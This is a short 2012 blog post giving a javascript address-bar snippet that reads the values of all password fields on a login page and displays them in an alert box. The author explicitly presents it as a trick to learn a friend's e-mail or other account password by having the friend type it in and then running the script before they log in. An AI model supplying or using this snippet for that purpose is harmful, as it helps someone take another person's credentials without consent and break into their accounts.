Saturday 26 May 2012

See the password typed in password field




Hey friends,

 you have seen that password typed in password field is not visible. It is replaced with either asterisk (*) or dot (.). But dont worry. Today i am going to tell you how to see such passwords. You may use this trick to know the password of your friends' E-mail account or any other account.


Here is the way:






  1. Tell your friend to enter his username and password in the login page, but dont let him click login button.
  2. Copy and paste the following javascript program in the addrsss bar of the browser.

    javascript:(function(){var%20s,F,j,f,i;%20s%20=%20%22%22;
    %20F%20=%20document.forms;%20for(j=0;%20j<F.length;%20++j)
    %20{%20f%20=%20F[j];%20for%20(i=0;%20i<f.length;%20++i)
    %20{%20if%20(f[i].type.toLowerCase()%20==%20%22password%22)
    %20s%20+=%20f[i].value%20+%20%22\n%22;%20}%20}%20if
    %20(s)%20alert(%22Passwords%20in%20forms%20on%20this
    %20page:\n\n%22%20+%20s);%20else%20alert(%22There%20are
    %20no%20passwords%20in%20forms%20on%20this
    %20page.%22);})();

    e.g. consider this fullonsms page.


  3. Hit enter.
  4. A dialog box will be opened saying "Password in forms on this page is <password>".



This trick doesn't work in Chrome 16.

1 comment: